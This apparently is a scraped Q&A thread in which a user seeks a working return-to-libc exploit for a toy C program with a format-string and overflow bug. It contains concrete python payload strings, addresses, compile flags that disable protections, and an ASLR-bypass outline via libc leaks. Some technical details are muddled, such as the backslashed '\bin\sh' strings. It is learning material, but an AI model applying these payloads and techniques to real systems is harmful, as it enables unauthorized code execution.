I am trying to implement return-to-libc attack on the below code using format string attack vector.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
char a[10];
scanf("%s",&a);
printf(a);
return 0;
}
I have figured out the address of the system() using p system
command in gdb
. And by inspection of the stack frame using x/500s $esp
, I figured the environment variable's address which contains \bin\sh
.
system: 0xf7e2cda0
exit: 0xf7e209d0
\bin\bash: 0xffffd207
With these things in place, I constructed the below format string:
python -c 'print "A"*14 + "\xbc\xcd\xff\xff" + "\xa0\xcd\xe2\xf7" + "\xd0\x09\xe2\xf7" + "\x07\xd2\xff\xff"' > inp
where 0xffffcdbc - 0x4
is the local address which contains system address 0xf7e2cda0
value.
I compiled the program using gcc -m32 -fno-stack-protector -o sh sh.c
and ran it using gdb sh
. Upon execution, on entering r<inp
, I get the below output
As seen above, there's some error command which is shown and I get to the shell only after running r
command again. Could someone explain what am I missing here so that I get to the shell directly?
Also, when I tried to execute the program above without gdb ( by ./sh < inp
) by offsetting the gdb address, I get a segmentation fault error. I am assuming this can be solved once the above fix gets corrected.
Kindly answer by giving a complete working exploit - most of the tutorials online use argv[1]
in explaining the similar problem but I wish to get the exploit working without the use of arguments.
Thanks!
A "return-to-libc" attack is a computer security attack usually starting with a buffer overflow in which a subroutine return address on a call stack is replaced by an address of a subroutine that is already present in the process executable memory, bypassing the no-execute bit feature (if present) and ridding the ...
A return-to-system-call attack is usually starting with a buffer overflow in which the return address on the stack is replaced by the address of another instruction and an additional portion of the stack is overwritten to provide arguments to this function.
No, it doesn't. It makes it more difficult to perform return-to-libc or ROP but it is definitely no silver bullet against such attacks.
Stack smashing is a form of vulnerability where the stack of a computer application or OS is forced to overflow. This may lead to subverting the program/system and crashing it. A stack, a first-in last-out circuit, is a form of buffer holding intermediate results of operations within it.
First, you're constructing a pure stack-base overflow, not format string payload.
The libc function system()
would work with gdb even if its parameter is not valid. For example, the call system("asdasd")
still gives you a shell in gdb (with error messag e pop out, that's what you've seen), so your payload basically didn't locate the /bin/sh
correctly.
You should put a padding between the address of system
and the address of /bin/sh
(a lot of pwn beginners forget this), e.g.
print 'A'*padding_to_ret + addr_system + padding + addr_binsh
For x86 calling convention, Once a function is called, the arguments are push, next the return address, so when ROP-chain take
system
as return,$esp
is now pointing to the position atpadding
, so the parameter/bin/sh
($ebp+0x4
) should be right next topadding
.
For the last you mention you want to construct a payload without argv
helping, yes it's possible, but you need to have a chance to leak libc address to defeat ASLR to get the address of /bin/sh
(you can find this string in libc).
Take the code you provided as example :
scanf("%s, &a)
%x%x
or %9$x
for next printf
to leak some libc address on the stack.main
to do another reading.printf(a)
system_addr = libc_addr + system_offset
.scanf("%s, &a)
system
and /bin/sh
, construct the ROP chain above to gain control.Finally after some days of research, I have figured out the problem. It wasn't that the address of the /bin/sh
string was wrong or that you only need a \bin\sh
string address location from libc
library to get this to working, but all that you need is a nop sled of 4 bytes at the end of the address of the string that you have placed. So, in essence, my attack string would like this
python -c 'print "A"*14 + "\xbc\xcd\xff\xff" + "\xa0\xcd\xe2\xf7" + "\xd0\x09\xe2\xf7" + "\x07\xd2\xff\xff" + "\x90\x90\x90\x90" ' > inp
or in the cases where you are writing a /bin/sh
directly into your buffer, something like the below string would work
python -c ' print "A"*14 + "\xbc\xcd\xff\xff" + "\xa0\xcd\xe2\xf7" + "\xd0\x09\xe2\xf7" + "\x84\xce\xff\xff" + "\x5c\x73\x68\0" + "\x90\x90\x90\x90" ' > inp
where \x5c\x73\x68
(hex for \bin\sh
) is stored in the buffer at \x84\xce\xff\xff
Note: I sometimes also observed that the addresses that you write at a specific location don't somehow show up. It is in these cases that you should do padding to ensure that everything gets stored at their respective locations.
If you love us? You can donate to us via Paypal or buy me a coffee so we can maintain and grow! Thank you!
Donate Us With